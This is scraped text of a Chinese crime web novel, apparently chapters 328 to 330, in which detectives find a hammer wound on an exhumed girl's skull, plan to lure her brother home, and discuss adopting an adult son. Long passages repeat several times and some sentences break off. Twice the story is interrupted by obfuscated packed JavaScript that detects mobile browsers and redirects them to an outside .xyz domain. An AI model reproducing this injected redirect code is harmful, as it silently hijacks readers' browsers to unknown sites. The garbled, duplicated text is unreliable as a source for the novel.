“他们就算不是凶手,也和凶手脱不了关系。”楚隽说:“我看他们的反应,对焦雨花虽然内疚,但也不像是凶手。要是凶手,只会更激动。” 但即便他们俩不是凶手,也一定是在掩饰什么。 安暖说:“焦家,不是有一个车祸之后不久就远远地躲开的人吗?” 一个农村里的少年,就算有钱了,也少有人会想着出国。 焦雨花的哥哥,却一个人远走他乡。 他到底是有如此先进的理念呢,还是在躲避什么呢? 楚隽道:“看样子,要把这个人也弄回来才行。” 还有好几处,都是明显的伤痕。 这可不是尸体上的明显伤痕,这是骸骨上的明显伤痕。 大家看得都觉得义愤填膺,只希望这世上真的有鬼。 如今他们把坟挖开了,焦雨花的魂魄为什么不出来,去找父母算账呢? **,这一口气也该咽不下才对。 突然,刘主任说:“有了。” 在一旁打着手电的安暖和楚隽心里都是一惊。 “看这里。” 刘主任已经检查到了头颅。 焦雨花的头颅后方,有一处凹陷的破口。 “这是脑袋被砸了一个洞?”一旁卢瑞泽惊了:“脑袋上破了这么大的一个洞,人活不了了吧?” “八成活不了。”刘主任说:“之前,楚队跟我说了当时的情况。焦雨花是正面撞上汽车的,就算是力量很大,撞伤的也应该是系身体的正面。” 正面的脸,或者前胸。 被撞之后,向浩然立刻停了车。 就当当时的冲击力很大,焦雨花被撞了一下之后,就往后飞去,被撞飞了。 然后又落了地。 这种情况下,可能是后脑勺着地。 “但是,绝对不是这样的伤痕。”刘主任捧着骷髅,非肯定的说:“我确定,这个凹陷绝对不是撞在地上能撞的出来的,这个伤口,是一个非常小,但是很坚硬的物体造成的。” 比如说,一个小锤子。 所以这个伤口才会这么小。 楚隽终于直起身体,长长的松了一口气。 不敢靠太近,但是一直在关注事件进展的向浩然父母,也松了一口气。 不管怎么说,焦雨花的死,有了疑点。 即便不是故意的,只是一起交通事故,也没人希望自己儿子是凶手。哪怕受害者已经接受了赔偿,背上一条人命,总是非常不愉快的事情。 不是凶手,当然最好。 向浩然这几年内心一定非常不安,要不然不会一次一次地任由焦成顺敲诈,短短两年多给了二十万。也不会在听见小女孩儿唱歌的时候,就一跃而起,想要去焦雨花坟前看看。 这事情他没有说过,但不代表他能忘记或者坦然接受。 只要这事情存在一天,他就是向浩然的心魔,心里的一个疙瘩,永远都过不去。 向浩然母亲握着丈夫的手,眼泪汪汪的。 当年要不是因为她重病,向浩然也不会因为害怕刺激她,所以选择了隐瞒。 如果他当时坚定的送医院,或者报警,当时就能查出焦雨花的真实死因,根本就不会有后续的这些事情。 安暖看着骨头上的洞,说:“这么看来,当年焦雨花父母急匆匆的要和向浩然私了,果然是有原因的。” 在这件事情上,焦成顺夫妻俩的反应,太着急了。 按理说着急的应该只有向浩然才对。 就算焦成顺夫妻俩不在乎女儿的生死,开始就想要用向浩然身上要点钱,也不该那么着急。 完全可以拖延拖延,谈谈条件,以达到多找向浩然要点钱的目的。 “他们就算不是凶手,也和凶手脱不了关系。”楚隽说:“我看他们的反应,对焦雨花虽然内疚,但也不像是凶手。要是凶手,只会更激动。” 但即便他们俩不是凶手,也一定是在掩饰什么。 安暖说:“焦家,不是有一个车祸之后不久就远远地躲开的人吗?” 一个农村里的少年,就算有钱了,也少有人会想着出国。 焦雨花的哥哥,却一个人远走他乡。 他到底是有如此先进的理念呢,还是在躲避什么呢? 楚隽道:“看样子,要把这个人也弄回来才行。” 还有好几处,都是明显的伤痕。 这可不是尸体上的明显伤痕,这是骸骨上的明显伤痕。 大家看得都觉得义愤填膺,只希望这世上真的有鬼。 如今他们把坟挖开了,焦雨花的魂魄为什么不出来,去找父母算账呢? **,这一口气也该咽不下才对。 突然,刘主任说:“有了。” 在一旁打着手电的安暖和楚隽心里都是一惊。 “看这里。” 刘主任已经检查到了头颅。 焦雨花的头颅后方,有一处凹陷的破口。 “这是脑袋被砸了一个洞?”一旁卢瑞泽惊了:“脑袋上破了这么大的一个洞,人活不了了吧?” “八成活不了。”刘主任说:“之前,楚队跟我说了当时的情况。焦雨花是正面撞上汽车的,就算是力量很大,撞伤的也应该是系身体的正面。” 正面的脸,或者前胸。 被撞之后,向浩然立刻停了车。 就当当时的冲击力很大,焦雨花被撞了一下之后,就往后飞去,被撞飞了。 然后又落了地。 这种情况下,可能是后脑勺着地。 “但是,绝对不是这样的伤痕。”刘主任捧着骷髅,非肯定的说:“我确定,这个凹陷绝对不是撞在地上能撞的出来的,这个伤口,是一个非常小,但是很坚硬的物体造成的。” 比如说,一个小锤子。 所以这个伤口才会这么小。 楚隽终于直起身体,长长的松了一口气。 不敢靠太近,但是一直在关注事件进展的向浩然父母,也松了一口气。 不管怎么说,焦雨花的死,有了疑点。 即便不是故意的,只是一起交通事故,也没人希望自己儿子是凶手。哪怕受害者已经接受了赔偿,背上一条人命,总是非常不愉快的事情。 不是凶手,当然最好。 向浩然这几年内心一定非常不安,要不然不会一次一次地任由焦成顺敲诈,短短两年多给了二十万。也不会在听见小女孩儿唱歌的时候,就一跃而起,想要去焦雨花坟前看看。 这事情他没有说过,但不代表他能忘记或者坦然接受。 只要这事情存在一天,他就是向浩然的心魔,心里的一个疙瘩,永远都过不去。 向浩然母亲握着丈夫的手,眼泪汪汪的。 当年要不是因为她重病,向浩然也不会因为害怕刺激她,所以选择了隐瞒。 如果他当时坚定的送医院,或者报警,当时就能查出焦雨花的真实死因,根本就不会有后续的这些事情。 安暖看着骨头上的洞,说:“这么看来,当年焦雨花父母急匆匆的要和向浩然私了,果然是有原因的。” 在这件事情上,焦成顺夫妻俩的反应,太着急了。 按理说着急的应该只有向浩然才对。 就算焦成顺夫妻俩不在乎女儿的生死,开始就想要用向浩然身上要点钱,也不该那么着急。 完全可以拖延拖延,谈谈条件,以达到多找向浩然要点钱的目的。 “他们就算不是凶手,也和凶手脱不了关系。”楚隽说:“我看他们的反应,对焦雨花虽然内疚,但也不像是凶手。要是凶手,只会更激动。” 但即便他们俩不是凶手,也一定是在掩饰什么。 安暖说:“焦家,不是有一个车祸之后不久就远远地躲开的人吗?” 一个农村里的少年,就算有钱了,也少有人会想着出国。 焦雨花的哥哥,却一个人远走他乡。 他到底是有如此先进的理念呢,还是在躲避什么呢? 楚隽道:“看样子,要把这个人也弄回来才行。” 还有好几处,都是明显的伤痕。 这可不是尸体上的明显伤痕,这是骸骨上的明显伤痕。 大家看得都觉得义愤填膺,只希望这世上真的有鬼。 如今他们把坟挖开了,焦雨花的魂魄为什么不出来,去找父母算账呢? **,这一口气也该咽不下才对。 突然,刘主任说:“有了。” 在一旁打着手电的安暖和楚隽心里都是一惊。 “看这里。” 刘主任已经检查到了头颅。 焦雨花的头颅后方,有一处凹陷的破口。 “这是脑袋被砸了一个洞?”一旁卢瑞泽惊了:“脑袋上破了这么大的一个洞,人活不了了吧?” “八成活不了。”刘主任说:“之前,楚队跟我说了当时的情况。焦雨花是正面撞上汽车的,就算是力量很大,撞伤的也应该是系身体的正面。” 正面的脸,或者前胸。 被撞之后,向浩然立刻停了车。 就当当时的冲击力很大,焦雨花被撞了一下之后,就往后飞去,被撞飞了。 然后又落了地。 这种情况下,可能是后脑勺着地。 “但是,绝对不是这样的伤痕。”刘主任捧着骷髅,非肯定的说:“我确定,这个凹陷绝对不是撞在地上能撞的出来的,这个伤口,是一个非常小,但是很坚硬的物体造成的。” 比如说,一个小锤子。 所以这个伤口才会这么小。 楚隽终于直起身体,长长的松了一口气。 不敢靠太近,但是一直在关注事件进展的向浩然父母,也松了一口气。 不管怎么说,焦雨花的死,有了疑点。 即便不是故意的,只是一起交通事故,也没人希望自己儿子是凶手。哪怕受害者已经接受了赔偿,背上一条人命,总是非常不愉快的事情。 不是凶手,当然最好。 向浩然这几年内心一定非常不安,要不然不会一次一次地任由焦成顺敲诈,短短两年多给了二十万。也不会在听见小女孩儿唱歌的时候,就一跃而起,想要去焦雨花坟前看看。 这事情他没有说过,但不代表他能忘记或者坦然接受。 只要这事情存在一天,他就是向浩然的心魔,心里的一个疙瘩,永远都过不去。 向浩然母亲握着丈夫的手,眼泪汪汪的。 当年要不是因为她重病,向浩然也不会因为害怕刺激她,所以选择了隐瞒。 如果他当时坚定的送医院,或者报警,当时就能查出焦雨花的真实死因,根本就不会有后续的这些事情。 安暖看着骨头上的洞,说:“这么看来,当年焦雨花父母急匆匆的要和向浩然私了,果然是有原因的。” 在这件事情上,焦成顺夫妻俩的反应,太着急了。 按理说着急的应该只有向浩然才对。 就算焦成顺夫妻俩不在乎女儿的生死,开始就想要用向浩然身上要点钱,也不该那么着急。 完全可以拖延拖延,谈谈条件,以达到多找向浩然要点钱的目的。 “他们就算不是凶手,也和凶手脱不了关系。”楚隽说:“我看他们的反应,对焦雨花虽然内疚,但也不像是凶手。要是凶手,只会更激动。” 但即便他们俩不是凶手,也一定是在掩饰什么。 安暖说:“焦家,不是有一个车祸之后不久就远远地躲开的人吗?” 一个农村里的少年,就算有钱了,也少有人会想着出国。 焦雨花的哥哥,却一个人远走他乡。 他到底是有如此先进的理念呢,还是在躲避什么呢? 楚隽道:“看样子,要把这个人也弄回来才行。” 还有好几处,都是明显的伤痕。 这可不是尸体上的明显伤痕,这是骸骨上的明显伤痕。 大家看得都觉得义愤填膺,只希望这世上真的有鬼。 如今他们把坟挖开了,焦雨花的魂魄为什么不出来,去找父母算账呢? **,这一口气也该咽不下才对。 突然,刘主任说:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16012276|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有了。” 在一旁打着手电的安暖和楚隽心里都是一惊。 “看这里。” 刘主任已经检查到了头颅。 焦雨花的头颅后方,有一处凹陷的破口。 “这是脑袋被砸了一个洞?”一旁卢瑞泽惊了:“脑袋上破了这么大的一个洞,人活不了了吧?” “八成活不了。”刘主任说:“之前,楚队跟我说了当时的情况。焦雨花是正面撞上汽车的,就算是力量很大,撞伤的也应该是系身体的正面。” 正面的脸,或者前胸。 被撞之后,向浩然立刻停了车。 就当当时的冲击力很大,焦雨花被撞了一下之后,就往后飞去,被撞飞了。 然后又落了地。 这种情况下,可能是后脑勺着地。 “但是,绝对不是这样的伤痕。”刘主任捧着骷髅,非肯定的说:“我确定,这个凹陷绝对不是撞在地上能撞的出来的,这个伤口,是一个非常小,但是很坚硬的物体造成的。” 比如说,一个小锤子。 所以这个伤口才会这么小。 楚隽终于直起身体,长长的松了一口气。 不敢靠太近,但是一直在关注事件进展的向浩然父母,也松了一口气。 不管怎么说,焦雨花的死,有了疑点。 即便不是故意的,只是一起交通事故,也没人希望自己儿子是凶手。哪怕受害者已经接受了赔偿,背上一条人命,总是非常不愉快的事情。 不是凶手,当然最好。 向浩然这几年内心一定非常不安,要不然不会一次一次地任由焦成顺敲诈,短短两年多给了二十万。也不会在听见小女孩儿唱歌的时候,就一跃而起,想要去焦雨花坟前看看。 这事情他没有说过,但不代表他能忘记或者坦然接受。 只要这事情存在一天,他就是向浩然的心魔,心里的一个疙瘩,永远都过不去。 向浩然母亲握着丈夫的手,眼泪汪汪的。 当年要不是因为她重病,向浩然也不会因为害怕刺激她,所以选择了隐瞒。 如果他当时坚定的送医院,或者报警,当时就能查出焦雨花的真实死因,根本就不会有后续的这些事情。 安暖看着骨头上的洞,说:“这么看来,当年焦雨花父母急匆匆的要和向浩然私了,果然是有原因的。” 在这件事情上,焦成顺夫妻俩的反应,太着急了。 按理说着急的应该只有向浩然才对。 就算焦成顺夫妻俩不在乎女儿的生死,开始就想要用向浩然身上要点钱,也不该那么着急。 完全可以拖延拖延,谈谈条件,以达到多找向浩然要点钱的目的。 “他们就算不是凶手,也和凶手脱不了关系。”楚隽说:“我看他们的反应,对焦雨花虽然内疚,但也不像是凶手。要是凶手,只会更激动。” 但即便他们俩不是凶手,也一定是在掩饰什么。 安暖说:“焦家,不是有一个车祸之后不久就远远地躲开的人吗?” 一个农村里的少年,就算有钱了,也少有人会想着出国。 焦雨花的哥哥,却一个人远走他乡。 他到底是有如此先进的理念呢,还是在躲避什么呢? 楚隽道:“看样子,要把这个人也弄回来才行。” 还有好几处,都是明显的伤痕。 这可不是尸体上的明显伤痕,这是骸骨上的明显伤痕。 大家看得都觉得义愤填膺,只希望这世上真的有鬼。 如今他们把坟挖开了,焦雨花的魂魄为什么不出来,去找父母算账呢? **,这一口气也该咽不下才对。 突然,刘主任说:“有了。” 在一旁打着手电的安暖和楚隽心里都是一惊。 “看这里。” 刘主任已经检查到了头颅。 焦雨花的头颅后方,有一处凹陷的破口。 “这是脑袋被砸了一个洞?”一旁卢瑞泽惊了:“脑袋上破了这么大的一个洞,人活不了了吧?” “八成活不了。”刘主任说:“之前,楚队跟我说了当时的情况。焦雨花是正面撞上汽车的,就算是力量很大,撞伤的也应该是系身体的正面。” 正面的脸,或者前胸。 被撞之后,向浩然立刻停了车。 就当当时的冲击力很大,焦雨花被撞了一下之后,就往后飞去,被撞飞了。 然后又落了地。 这种情况下,可能是后脑勺着地。 “但是,绝对不是这样的伤痕。”刘主任捧着骷髅,非肯定的说:“我确定,这个凹陷绝对不是撞在地上能撞的出来的,这个伤口,是一个非常小,但是很坚硬的物体造成的。” 比如说,一个小锤子。 所以这个伤口才会这么小。 楚隽终于直起身体,长长的松了一口气。 不敢靠太近,但是一直在关注事件进展的向浩然父母,也松了一口气。 不管怎么说,焦雨花的死,有了疑点。 即便不是故意的,只是一起交通事故,也没人希望自己儿子是凶手。哪怕受害者已经接受了赔偿,背上一条人命,总是非常不愉快的事情。 不是凶手,当然最好。 向浩然这几年内心一定非常不安,要不然不会一次一次地任由焦成顺敲诈,短短两年多给了二十万。也不会在听见小女孩儿唱歌的时候,就一跃而起,想要去焦雨花坟前看看。 这事情他没有说过,但不代表他能忘记或者坦然接受。 只要这事情存在一天,他就是向浩然的心魔,心里的一个疙瘩,永远都过不去。 向浩然母亲握着丈夫的手,眼泪汪汪的。 当年要不是因为她重病,向浩然也不会因为害怕刺激她,所以选择了隐瞒。 如果他当时坚定的送医院,或者报警,当时就能查出焦雨花的真实死因,根本就不会有后续的这些事情。 安暖看着骨头上的洞,说:“这么看来,当年焦雨花父母急匆匆的要和向浩然私了,果然是有原因的。” 在这件事情上,焦成顺夫妻俩的反应,太着急了。 按理说着急的应该只有向浩然才对。 就算焦成顺夫妻俩不在乎女儿的生死,开始就想要用向浩然身上要点钱,也不该那么着急。 完全可以拖延拖延,谈谈条件,以达到多找向浩然要点钱的目的。 “他们就算不是凶手,也和凶手脱不了关系。”楚隽说:“我看他们的反应,对焦雨花虽然内疚,但也不像是凶手。要是凶手,只会更激动。” 但即便他们俩不是凶手,也一定是在掩饰什么。 安暖说:“焦家,不是有一个车祸之后不久就远远地躲开的人吗?” 一个农村里的少年,就算有钱了,也少有人会想着出国。 焦雨花的哥哥,却一个人远走他乡。 他到底是有如此先进的理念呢,还是在躲避什么呢? 楚隽道:“看样子,要把这个人也弄回来才行。” 还有好几处,都是明显的伤痕。 这可不是尸体上的明显伤痕,这是骸骨上的明显伤痕。 大家看得都觉得义愤填膺,只希望这世上真的有鬼。 如今他们把坟挖开了,焦雨花的魂魄为什么不出来,去找父母算账呢? **,这一口气也该咽不下才对。 突然,刘主任说:“有了。” 在一旁打着手电的安暖和楚隽心里都是一惊。 “看这里。” 刘主任已经检查到了头颅。 焦雨花的头颅后方,有一处凹陷的破口。 “这是脑袋被砸了一个洞?”一旁卢瑞泽惊了:“脑袋上破了这么大的一个洞,人活不了了吧?” “八成活不了。”刘主任说:“之前,楚队跟我说了当时的情况。焦雨花是正面撞上汽车的,就算是力量很大,撞伤的也应该是系身体的正面。” 正面的脸,或者前胸。 被撞之后,向浩然立刻停了车。 就当当时的冲击力很大,焦雨花被撞了一下之后,就往后飞去,被撞飞了。 然后又落了地。 这种情况下,可能是后脑勺着地。 “但是,绝对不是这样的伤痕。”刘主任捧着骷髅,非肯定的说:“我确定,这个凹陷绝对不是撞在地上能撞的出来的,这个伤口,是一个非常小,但是很坚硬的物体造成的。” 比如说,一个小锤子。 所以这个伤口才会这么小。 楚隽终于直起身体,长长的松了一口气。 不敢靠太近,但是一直在关注事件进展的向浩然父母,也松了一口气。 不管怎么说,焦雨花的死,有了疑点。 即便不是故意的,只是一起交通事故,也没人希望自己儿子是凶手。哪怕受害者已经接受了赔偿,背上一条人命,总是非常不愉快的事情。 不是凶手,当然最好。 向浩然这几年内心一定非常不安,要不然不会一次一次地任由焦成顺敲诈,短短两年多给了二十万。也不会在听见小女孩儿唱歌的时候,就一跃而起,想要去焦雨花坟前看看。 这事情他没有说过,但不代表他能忘记或者坦然接受。 只要这事情存在一天,他就是向浩然的心魔,心里的一个疙瘩,永远都过不去。 向浩然母亲握着丈夫的手,眼泪汪汪的。 当年要不是因为她重病,向浩然也不会因为害怕刺激她,所以选择了隐瞒。 如果他当时坚定的送医院,或者报警,当时就能查出焦雨花的真实死因,根本就不会有后续的这些事情。 安暖看着骨头上的洞,说:“这么看来,当年焦雨花父母急匆匆的要和向浩然私了,果然是有原因的。” 在这件事情上,焦成顺夫妻俩的反应,太着急了。 按理说着急的应该只有向浩然才对。 就算焦成顺夫妻俩不在乎女儿的生死,开始就想要用向浩然身上要点钱,也不该那么着急。 完全可以拖延拖延,谈谈条件,以达到多找向浩然要点钱的目的。 “他们就算不是凶手,也和凶手脱不了关系。”楚隽说:“我看他们的反应,对焦雨花虽然内疚,但也不像是凶手。要是凶手,只会更激动。” 但即便他们俩不是凶手,也一定是在掩饰什么。 安暖说:“焦家,不是有一个车祸之后不久就远远地躲开的人吗?” 一个农村里的少年,就算有钱了,也少有人会想着出国。 焦雨花的哥哥,却一个人远走他乡。 他到底是有如此先进的理念呢,还是在躲避什么呢? 楚隽道:“看样子,要把这个人也弄回来才行。” 第329章 寻找凶器 这事情多少有一点难度。 焦雨花父母虽然对她不好 如果焦雨花还活着事情闹大的话他们可能会受到一些处罚但也不会太严重。 如今焦雨花已经**这事情早就已经过去了。 没有人会告发也没有证据不可能因为夫妻俩几年前打过自己的孩子所以让他们去坐牢去接受惩罚。 所以他们才会虽然抵触但抵触的有限。 可如果焦雨花的哥哥是凶手的话那就不一样了。 焦雨花的父母是出国看望儿子回国是他们的正常计划和流程。 可焦雨花的哥哥焦名扬他敢回来吗? 他真的不害怕回来之后就再也出不去了吗? 在心里有鬼的情况下他可能无论怎么样都要留在外面。 哪怕后面没有了向浩然的资助也要留在外面。 有手有脚的一个人只要肯干总饿不死。 这就很麻烦了。 安暖道:“要想办法把人骗回来才行。” 跨国抓捕不太现实。 “嗯。”楚隽说:“这也好办。” “怎么办?” “不是你说的吗骗回来。” “具体呢?怎么骗?” 安暖就奇怪了自己可是什么都没说的怎么就成她说的了? 楚隽这是在给自己硬塞功劳呢还是觉得自己老奸巨猾诡计多端呢? 这男人的嘴啊骗人的鬼楚隽能当上刑警队长可见也是个城府很深的人一转眼珠子一个坏主意一转眼珠子又一个坏主意。 “硬骗。”向浩然说:“向名扬远在**想让他回来威胁是没有用的。” 当足够的距离让他知道自己是安全的一切威胁都徒劳无功。 而且他们是警察不是土匪流氓总不能跟焦名扬说你要是不回来我们就把你父母抓走吧? 楚隽说:“从来财帛动人心想要骗一个凶手回来就只能用钱硬骗。” 就这么简单。 恰好向家足够有钱。 反正向成顺夫妻俩也不在众人安心地在坟前商议了起来。 现在可以确定焦雨花是在被撞之前就身受可能致命的重伤。 她是从村子里狂奔出来的。 很有可能在家里挨了打所以才往外跑。 她想找一个人救自己出水火没 想到不但没有找到反而被车撞了。 安暖道:“楚队听刘主任说我觉得凶器很有可能是农村里比较常见顺手的工具。你说凶手已经将凶器扔掉了吗?” 如果是正常情况 凶器其实不难处理。 如果是可以损坏的直接损坏。 比如一个陶瓷花瓶可以打碎。 如果凶器是不可以损坏的比如一个铁锤子就扔掉。 在这个几乎找不到监控的年代扔一件东西太容易了。 一个人往山里一钻往河沟边一站或者随便在村子里逛上一圈就什么都丢掉了。 小小的一把锤子在没有目击者的情况下根本就不可能找到。 谁能保证凶手会将凶器丢在附近呢?万一丢得远呢总不能掘地三尺吧。 但现在不是正常情况。 楚隽沉吟中安暖接着说:“我觉得这东西应该没有丢掉而是有很大的可能现在还在焦家只是放起来了藏在某个地方。” “为什么这么认为?” “因为在他都没来得及生起毁尸灭迹这个念头的时候替罪羊就已经出现了。” 向浩然来得实在是太快了他来的时候焦雨花还活着。 活着就意味着无论是焦成顺夫妻甚至焦名扬本人都没觉得她已经**了是被家里人打死的。 撞车之前明明还是能跑能跳能说能喊的。 撞车后人**。 那还用说必然是被撞死的。 但是不能细查。 一旦细查焦雨花身上其他的伤被发现也说不清楚还有损名声。 这就是焦成顺夫妻也比向浩然还着急要**原因。 楚隽道:“你这么说也有道理这样天亮之后你跟痕检一起去焦家再检查一遍。仔仔细细的检查看一看是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16017504|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 否能找到和伤口吻合的凶器。” 安暖立刻道:“是。” “其他人……向叔咱们再商议一下后续的事情要怎么办?” 简单概括就是让向家找个理由给焦家前但是前提条件是焦名扬必须回来一趟不然不行。 不见兔子不撒鹰。 只要钱够多哪怕焦名扬依然会有点担心也会铤而走险。 有向浩然一年十万八万的供着焦名扬这几年的日子过得肯定非常舒服。在外面山珍海味说不定女朋友都已经换了好几个了。 现在他知道自己 马上要过穷日子了,要去刷盘子刷碗赚学费了,不能给女朋友买礼物要被抛弃了,不能再享受被吹嘘吹捧的虚荣了。 那对他来说,会比死还要难受。 这落差一般人是接受不了的。 与其贫穷痛苦地活着,倒不如拼一下。 回国,弄钱。 万一真弄到了呢,那不得了了,下半辈子又衣食无忧了。 当年,向浩然为了成全心爱的姑娘,天天换着花样地追求安暖,都能拿出几十万私人名下的产业来。 如今,自然只会更多。 那钱,足以让人失去理智,蒙住双眼。 凌晨三点,果然有人送了一具空棺木过来。 当下,楚隽让人将焦成顺夫妻叫过来。 这是焦雨花第二次下葬,伤痕累累的骸骨,终于被移进了一副好棺材。 这对还没有转世投胎的魂魄来说,也算是搬新家,还是搬豪宅了吧? 这个仪式就不必大家都参加了,金大师发了话,让无关紧要的人回避。 大部分人都无关紧要,留下干体力活儿的,大家就都撤了。 楚隽和安暖也都撤了。 但是他们没有离开,这会儿回去睡觉也挺晚了。睡不了几个小时,天亮了又要往这边赶。 干脆就在车里休息一会儿。 车上有小被子,关上窗子一点儿也不冷。 安暖就坐在副驾驶,把座位靠椅放下,躺了下去。 第330章 过继一个孩子 “啊……”安暖的腰身终于得到了一下舒展,舒服的叹了一口气,闭上了眼睛。 真累。 好在习惯了,以前上班的时候,也不会比现在轻松。 “休息一会儿。”楚隽给她把被子掖了一下:“累吗?要是累的话,你先开车回去休息。” “不用。”安暖闭着眼睛:“我还年轻,我能抗。我是新时代的牛马。” 这都什么乱七八糟的,楚隽像是哄孩子一样的在小被子上拍了拍。 “谁把你当牛马了,你是社会主义**人。” “嗯……” 领导就是领导,多会说话呀,让人心里暖暖的,明天干活儿都更有力气了。 坟边,楚隽和安暖走了,焦成顺顿时觉得要轻松许多。 楚隽是刑警队长,有些不苟言笑,让人看了就觉得危险。 好像是无论有什么坏心思,有什么鬼主意,在他面前都施展不开,随时会被拆穿一样。 但向浩然夫妻俩就不一样了。 他们虽然有钱,但也只是有钱,其他方面,和普通老百姓没有什么区别。 这也就是焦成顺夫妻这两年有些膨胀了,加上向浩然毕竟开车撞了焦雨花,所以在他们夫妻俩看来,向家是欠他们家的。 他们是债主,向家是欠债人。 俗话说的好,父债子还。 反过来也是一样的,如果儿女在外面弄坏了东西,伤了人,自然也是要让父母来赔偿的。 现在向浩然**,那冤有头债有主,就该他父母来赔偿。 所以焦成顺夫妻俩,对向浩然父亲有一种莫名的,隐忍的优越感。 仪式都结束,坟又重新盖了起来。 看着工人一铲子一铲子在填坟了,向浩然父亲将焦成顺叫到了一边。 “亲家,我有个事情想跟你商量一下。”向爸爸说:“只是这事情,有些为难,也不知道你愿意不愿意。” 焦成顺大度道:“你说,咱们既然是亲家,没什么是不好说的。” 他还想着讨好讨好向家,要不然的话,怎么好开口要钱呢。 关于开口要钱的事情,他们夫妻也已经商量过了。 之前对向浩然,那是理直气壮,名正言顺的要。甚至多少有一点威胁的意思在。 现在对向浩然父亲,就不能这样了。 向浩然父亲没有什么把柄在他们手上,想要钱,就要换一个策略。 要来软的。 卖卖惨,喊喊穷,可怜 可怜。看在大家是亲家的份上,接济一点。 像以前那样要那么多,这是不大可能了。 但是瘦死的骆驼比马大,向家只要心软了,愿意给,给的钱也足够他们过上相对好的日子了,只是不能向以前那么阔绰罢了。 向浩然父亲的表情十分为难,好像这事情非常难以说出口。 见状,焦成顺又鼓励了几句。 向浩然父亲像是骨气了勇气,说:“我听说,你还有一个儿子?” “是,叫叫名扬。”焦成顺说:“现在在国外上学呢,所以这次没回来。” 向浩然点了点头。 “本来这事情吧,家丑不可外扬,我不想跟谁说的。但是现在,不说不行了。” “你说。” 向浩然父亲道:“我们家是做生意的,有钱。但是呢,人丁单薄,就只有向浩然一个儿子。” 说着,向浩然父亲又要抹眼泪。 这段时间,眼泪他真是说掉就掉。一个运筹帷幄,杀伐果断的大公司老总,硬是被儿子折磨的老了好几岁。 “如今浩然出了事情,我们都这年纪了,也不可能再生一个,白发人送黑发人,我和他母亲以后,也不知道要指望谁。” 焦雨花这会儿还有点没反应过来,给出主意道:“要不然的话,实在不行,从亲戚家过继一个?” 这不是什么稀奇事情。 农村里这种情况也有。 不是家家都有儿子的。 但每个人都希望有儿子给养老送终。 于是如果只有女儿没有儿子的,就想办法招个上门女婿,当做儿子一般的养。 如果是连女儿也没有的,就找亲戚过继一个,或者抱养一个。有些极端的,甚至会去买一个。 向家这么有钱,愿意把儿子放在他们名下养的人家多的是。 这种事情多的是,旱的旱死,涝的涝死。 有些夫妻俩就是怎么折腾都没孩子,要不是怀不上,要不怀上也保不住。 但有些夫妻吧,就像是被送子娘娘摸过头一样,那是一年一个,三年抱俩。 生多了,也愁啊。 多一个孩子就是多一张嘴吃饭,本来家家户户日子过的都紧张,孩子多的人家,长大能多一个劳动力不假,但是还没长大的这些日子,可不轻松。 生存都紧张的情况下,再浓的亲情也会被稀释,磨灭。 向家甚至不用给钱,就能得到一堆儿子。 “不怕你笑话。”向浩然父亲说 :“我和亲戚的关系都不好。” 为了更逼真,向浩然父亲对焦成顺叨叨了不少事情。 为什么会跟亲戚关系不好。 总体来说就是,有钱了,亲戚眼红了。开始的时候,他也愿意带着亲戚一起赚钱,但是都是扶不上墙的阿斗,只想在他身上捞好处。 不但帮不上一点忙,还给他带来可不少损失。 一来二去的,就把亲自都给得罪了。 这样的亲戚家的孩子,向浩然父亲当然不愿意过继。 过继之后,对方就有了继承权。也就是说,这么多这么多的钱,以后就是那个孩子的了。 万一,把钱都给他,又尽心尽力的养他长大。 他翻脸了呢? 钱到手之后,就去找了亲生父母,那他们这为人做嫁衣的养父母不是见了鬼? 向浩然父亲说:“所以我想着,与其过继一个小的,还不知道未来会怎么样。不如直接过继一个已经成年,现在就已经能看出人品性格的养子,这样更加稳当。” 果然是做大生意的人,想的就是周到。 焦成顺也觉得向浩然父亲说的十分有道理,赞许的连连点头。 也不知道这个人是谁,这跟天上掉馅饼有什么区别,做梦都要笑醒的好事情。 过继算什么,哪怕是要过继他儿子,他也愿意啊。 :“我和亲戚的关系都不好。” 为了更逼真,向浩然父亲对焦成顺叨叨了不少事情。 为什么会跟亲戚关系不好。 总体来说就是,有钱了,亲戚眼红了。开始的时候,他也愿意带着亲戚一起赚钱,但是都是扶不上墙的阿斗,只想在他身上捞好处。 不但帮不上一点忙,还给他带来可不少损失。 一来二去的,就把亲自都给得罪了。 这样的亲戚家的孩子,向浩然父亲当然不愿意过继。 过继之后,对方就有了继承权。也就是说,这么多这么多的钱,以后就是那个孩子的了。 万一,把钱都给他,又尽心尽力的养他长大。 他翻脸了呢? 钱到手之后,就去找了亲生父母,那他们这为人做嫁衣的养父母不是见了鬼? 向浩然父亲说:“所以我想着,与其过继一个小的,还不知道未来会怎么样。不如直接过继一个已经成年,现在就已经能看出人品性格的养子,这样更加稳当。” 果然是做大生意的人,想的就是周到。 焦成顺也觉得向浩然父亲说的十分有道理,赞许的连连点头。 也不知道这个人是谁,这跟天上掉馅饼有什么区别,做梦都要笑醒的好事情。 过继算什么,哪怕是要过继他儿子,他也愿意啊。 :“我和亲戚的关系都不好。” 为了更逼真,向浩然父亲对焦成顺叨叨了不少事情。 为什么会跟亲戚关系不好。 总体来说就是,有钱了,亲戚眼红了。开始的时候,他也愿意带着亲戚一起赚钱,但是都是扶不上墙的阿斗,只想在他身上捞好处。 不但帮不上一点忙,还给他带来可不少损失。 一来二去的,就把亲自都给得罪了。 